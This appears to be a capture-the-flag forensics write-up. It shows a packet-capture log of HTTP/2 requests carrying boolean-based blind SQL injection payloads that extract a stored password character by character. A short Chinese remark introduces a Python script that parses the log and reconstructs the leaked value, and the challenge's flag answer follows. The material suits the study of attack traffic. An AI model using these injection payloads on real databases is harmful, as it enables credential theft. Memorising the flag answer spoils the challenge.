68376   1343    192.168.1.8 192.168.1.12    HTTP2   266 HEADERS[1089]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="59"_then_id_else_col1_end), WINDOW_UPDATE[1089]   
68416   1343    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1091]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="5A"_then_id_else_col1_end), WINDOW_UPDATE[1091]   
68458   1343    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1093]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[1093]   
68483   1344    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1095]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[1095]   
68516   1344    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1097]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[1097]   
68524   1344    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1099]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[1099]   
68530   1344    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1101]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[1101]   
68545   1345    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1103]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[1103]   
68552   1345    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1105]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[1105]   
68570   1345    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1107]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[1107]   
68577   1346    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1109]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[1109]   
68592   1346    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1111]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[1111]   
68598   1346    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1113]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[1113]   
68606   1347    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1115]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[1115]   
68614   1347    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1117]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[1117]   
68621   1347    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1119]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[1119]   
68628   1348    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1121]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[1121]   
68634   1348    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[1123]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[1123]   
68642   1348    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1125]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[1125]   
68651   1348    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1127]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="64"_then_id_else_col1_end), WINDOW_UPDATE[1127]   
68660   1349    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1129]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="65"_then_id_else_col1_end), WINDOW_UPDATE[1129]   
68666   1349    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1131]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="66"_then_id_else_col1_end), WINDOW_UPDATE[1131]   
68672   1349    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1133]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="67"_then_id_else_col1_end), WINDOW_UPDATE[1133]   
68682   1350    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1135]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="68"_then_id_else_col1_end), WINDOW_UPDATE[1135]   
68688   1350    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1137]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="69"_then_id_else_col1_end), WINDOW_UPDATE[1137]   
68694   1350    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1139]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="6A"_then_id_else_col1_end), WINDOW_UPDATE[1139]   
68701   1351    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1141]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="6B"_then_id_else_col1_end), WINDOW_UPDATE[1141]   
68707   1351    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1143]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="6C"_then_id_else_col1_end), WINDOW_UPDATE[1143]   
68713   1351    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1145]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="6D"_then_id_else_col1_end), WINDOW_UPDATE[1145]   
68725   1352    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1147]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="6E"_then_id_else_col1_end), WINDOW_UPDATE[1147]   
68731   1352    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1149]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="6F"_then_id_else_col1_end), WINDOW_UPDATE[1149]   
68739   1352    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1151]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="70"_then_id_else_col1_end), WINDOW_UPDATE[1151]   
68749   1352    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1153]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="71"_then_id_else_col1_end), WINDOW_UPDATE[1153]   
68759   1353    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1155]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="72"_then_id_else_col1_end), WINDOW_UPDATE[1155]   
68767   1353    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[1157]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="73"_then_id_else_col1_end), WINDOW_UPDATE[1157]   
68773   1353    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1159]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="74"_then_id_else_col1_end), WINDOW_UPDATE[1159]   
68781   1354    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1161]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="75"_then_id_else_col1_end), WINDOW_UPDATE[1161]   
68789   1354    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1163]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="76"_then_id_else_col1_end), WINDOW_UPDATE[1163]   
68795   1354    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1165]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="77"_then_id_else_col1_end), WINDOW_UPDATE[1165]   
68808   1355    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1167]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="78"_then_id_else_col1_end), WINDOW_UPDATE[1167]   
68820   1355    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1169]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="79"_then_id_else_col1_end), WINDOW_UPDATE[1169]   
68826   1355    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1171]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="7A"_then_id_else_col1_end), WINDOW_UPDATE[1171]   
68833   1356    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1173]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="41"_then_id_else_col1_end), WINDOW_UPDATE[1173]   
68839   1356    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1175]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="42"_then_id_else_col1_end), WINDOW_UPDATE[1175]   
68845   1356    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1177]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="43"_then_id_else_col1_end), WINDOW_UPDATE[1177]   
68852   1357    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1179]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="44"_then_id_else_col1_end), WINDOW_UPDATE[1179]   
68858   1357    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1181]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="45"_then_id_else_col1_end), WINDOW_UPDATE[1181]   
68864   1357    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1183]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="46"_then_id_else_col1_end), WINDOW_UPDATE[1183]   
68871   1357    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1185]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="47"_then_id_else_col1_end), WINDOW_UPDATE[1185]   
68877   1358    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1187]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="48"_then_id_else_col1_end), WINDOW_UPDATE[1187]   
68885   1358    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1189]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="49"_then_id_else_col1_end), WINDOW_UPDATE[1189]   
68898   1358    192.168.1.8 192.168.1.12    HTTP2   266 HEADERS[1191]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="4A"_then_id_else_col1_end), WINDOW_UPDATE[1191]   
68906   1359    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1193]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="4B"_then_id_else_col1_end), WINDOW_UPDATE[1193]   
68914   1359    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1195]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="4C"_then_id_else_col1_end), WINDOW_UPDATE[1195]   
68922   1359    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1197]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="4D"_then_id_else_col1_end), WINDOW_UPDATE[1197]   
68928   1360    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1199]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="4E"_then_id_else_col1_end), WINDOW_UPDATE[1199]   
68934   1360    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1201]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="4F"_then_id_else_col1_end), WINDOW_UPDATE[1201]   
68941   1360    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1203]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="50"_then_id_else_col1_end), WINDOW_UPDATE[1203]   
68947   1361    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1205]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="51"_then_id_else_col1_end), WINDOW_UPDATE[1205]   
68954   1361    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1207]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="52"_then_id_else_col1_end), WINDOW_UPDATE[1207]   
68960   1361    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1209]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="53"_then_id_else_col1_end), WINDOW_UPDATE[1209]   
68969   1362    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1211]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="54"_then_id_else_col1_end), WINDOW_UPDATE[1211]   
68981   1362    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1213]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="55"_then_id_else_col1_end), WINDOW_UPDATE[1213]   
69042   1362    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1215]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="56"_then_id_else_col1_end), WINDOW_UPDATE[1215]   
69071   1362    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1217]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="57"_then_id_else_col1_end), WINDOW_UPDATE[1217]   
69078   1363    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1219]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="58"_then_id_else_col1_end), WINDOW_UPDATE[1219]   
69090   1363    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1221]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="59"_then_id_else_col1_end), WINDOW_UPDATE[1221]   
69097   1363    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1223]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="5A"_then_id_else_col1_end), WINDOW_UPDATE[1223]   
69103   1364    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[1225]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[1225]   
69109   1364    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1227]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[1227]   
69117   1364    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1229]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[1229]   
69123   1365    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1231]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[1231]   
69130   1365    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1233]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[1233]   
69136   1365    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1235]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[1235]   
69143   1366    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1237]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[1237]   
69150   1366    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1239]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[1239]   
69156   1366    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1241]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[1241]   
69163   1367    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1243]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[1243]   
69169   1367    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1245]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[1245]   
69175   1367    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1247]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[1247]   
69183   1368    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1249]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[1249]   
69189   1368    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1251]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[1251]   
69196   1368    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1253]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[1253]   
69203   1369    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1255]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[1255]   
69213   1369    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1257]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[1257]   
69220   1369    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[1259]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="64"_then_id_else_col1_end), WINDOW_UPDATE[1259]   
69230   1370    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1261]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="65"_then_id_else_col1_end), WINDOW_UPDATE[1261]   
69236   1370    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1263]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="66"_then_id_else_col1_end), WINDOW_UPDATE[1263]   
69242   1370    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1265]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="67"_then_id_else_col1_end), WINDOW_UPDATE[1265]   
69251   1371    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1267]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="68"_then_id_else_col1_end), WINDOW_UPDATE[1267]   
69257   1371    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1269]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="69"_then_id_else_col1_end), WINDOW_UPDATE[1269]   
69263   1371    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1271]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="6A"_then_id_else_col1_end), WINDOW_UPDATE[1271]

当然，脚本一跑便知

file_path = './fullSql.txt'

flag_seperator = "_from_user)=\""

position_seperator = 'select_hex(substr(password,'

flag_arr = []

read_first_line = 0

pre_line_position = 0

now_line_position = 0

pre_flag = 0

now_flag = 0

with open(file_path, 'r') as file:
    for line in file:
        line.strip()
        if line:
            try:
                flag = line.split(flag_seperator)[1][:2]
                position = line.split(position_seperator)[1][:2]
                if position[1] == ',':
                    position = position[0]
                if read_first_line == 0:
                    pre_flag = flag
                    pre_line_position = int(position)
                    read_first_line =1
                    continue
                now_line_position = int(position)
                if pre_line_position == now_line_position :
                    pre_flag = flag
                    continue
                else:
                    pre_line_position = now_line_position
                    flag_arr.append(pre_flag)
                    continue
            except:
                print('line error')


#handeling character Z
wash_flag = []
for item in flag_arr:
    if item == '5A':
        continue
    else:
        wash_flag.append(item)

final_flag = ' '.join(wash_flag)

print(final_flag)

print('all done')

answer = '746558f3-c841-456b-85d7-d6c0f2edabb2'
hexed_answer = '37 34 36 35 35 38 66 33 2D 63 38 34 31 2D 34 35 36 62 2D 38 35 64 37 2D 64 36 63 30 66 32 65 64 61 62 62 32'